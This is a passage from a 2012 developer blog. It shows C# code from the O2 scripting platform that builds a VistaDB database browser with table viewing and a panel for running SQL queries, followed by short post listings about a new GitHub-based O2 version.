                                        ()=>{
                                                rowDataField.clear();
                                                rowData.set_Text("");   
                                                dataGridView.remove_Columns();                           
                                                if (table.TableData.isNull())                           
                                                    vistaDB.map_Table_Data(table);                               
                                                dataGridView.invokeOnThread(()=>dataGridView.DataSource= table.TableData);       
                                                tables_Names.backColor(Color.White);
                                            });
                         };
            tables_Names.afterSelect<Table>(
                (table)=>{
                            loadTableData(table);
                         });
           
            database_Names.add_Nodes(vistaDB.database_Names());
           
            database_Names.selectFirst(); 
                       
           
            tables_Names.add_ContextMenu().add_MenuItem("reload data",
                ()=>{
                        var selectedNode = tables_Names.selected();
                        if (selectedNode.notNull())
                        {
                            var table = (Table)tables_Names.selected().get_Tag();
                            table.TableData = null;
                            loadTableData(table);
                        }
                    });
            return vistaDB;
        }
       
        public static API_VistaDB add_GUI_SqlCommandExecute<T>(this API_VistaDB vistaDB , T control)
            where T : Control
        {
            Action<string> executeNonQuery=null;
            Action<string> executeReader =null;
            var resultsPanel = control.add_GroupBox("Result") ; 
            var sqlCommandToExecute = resultsPanel.insert_Above("Sql Command to execute").add_TextArea();
            var sampleQueries = sqlCommandToExecute.insert_Left(300, "Sample Queries")
                                                   .add_TreeView()
                                                   .afterSelect<string>((text)=>sqlCommandToExecute.set_Text(text));
 
            sqlCommandToExecute.insert_Right(200)
                               .add_Button("Execute Non Query")
                               .fill()
                               .onClick(()=>{
                                                 "Executing Non Query".info();                                    
                                                 executeNonQuery(sqlCommandToExecute.get_Text());
                                             })
                              .insert_Above()
                              .add_Button("Execute Reader")
                              .fill()
                              .onClick(()=> {
                                                 "Executing Reader".info();
                                                 executeReader(sqlCommandToExecute.get_Text());
                                             });;
           
            executeReader = (sqlQuery)=>{
                                            vistaDB.add_Viewer_QueryResult(resultsPanel, sqlQuery);
                                            "done".info();
                                        };   
                                       
            executeNonQuery = (sqlText)=> {           
                                                var    log = resultsPanel.control<TextBox>();
                                                if (log.isNull())
                                                    log = resultsPanel.clear().add_TextArea();
                                                if (sqlText.contains("GO".line()))
                                                {                                       
                                                    var sqlTexts = sqlText.line().split("GO".line());
                                                    log.append_Line("[{0}]Found a GO, so breaking it into {1} queries".format(DateTime.Now,sqlTexts.size()));                                         
                                                    var sqlConnection = vistaDB.getOpenConnection();
                                                    foreach(var text in sqlTexts)                                                                                   
                                                    {               
                                                        vistaDB.executeNonQuery(sqlConnection, text);                                                                               
                                                       
                                                        if (vistaDB.LastError.valid())
                                                        {
                                                            log.append_Line("SQL ERROR: {0}".lineBeforeAndAfter().format(vistaDB.LastError));
                                                            log.append_Line("ERROR: stoping execution since there was an error which executing the query: {0}".format(text).lineBeforeAndAfter());
                                                            break;
                                                        }           
                                                    }
                                                    vistaDB.closeConnection(sqlConnection);
                                                }
                                                else
                                                    {
                                                        log.append_Line("Executing as Non Query: {0}".format(sqlText));
                                                        vistaDB.LastError = "";
                                                        vistaDB.executeNonQuery(sqlText);
                                                        if (vistaDB.LastError.valid())
                                                            log.append_Line("SQL ERROR: {0}".lineBeforeAndAfter().format(vistaDB.LastError));
                                                    }
                                                "done".info();
                                           };           
               
            sampleQueries.add_Nodes(new string[] {
                                                    "select * from master..sysDatabases",
                                                    "select * from master.Information_Schema.Tables",
                                                    "select * from master.Information_Schema.Routines"
                                                });
            sampleQueries.selectFirst();
            return vistaDB;
        }
    }       
}

 

April 13, 2012 Posted by | .NET, CheckMarx | 1 Comment

New version of O2, GitHub based, running in OSX and in VisualStudio

I just wrote a number of blog posts about the new version of O2:

March 24, 2012 Posted by | O2 Scripting, OSX, VisualStudio | , | Leave a comment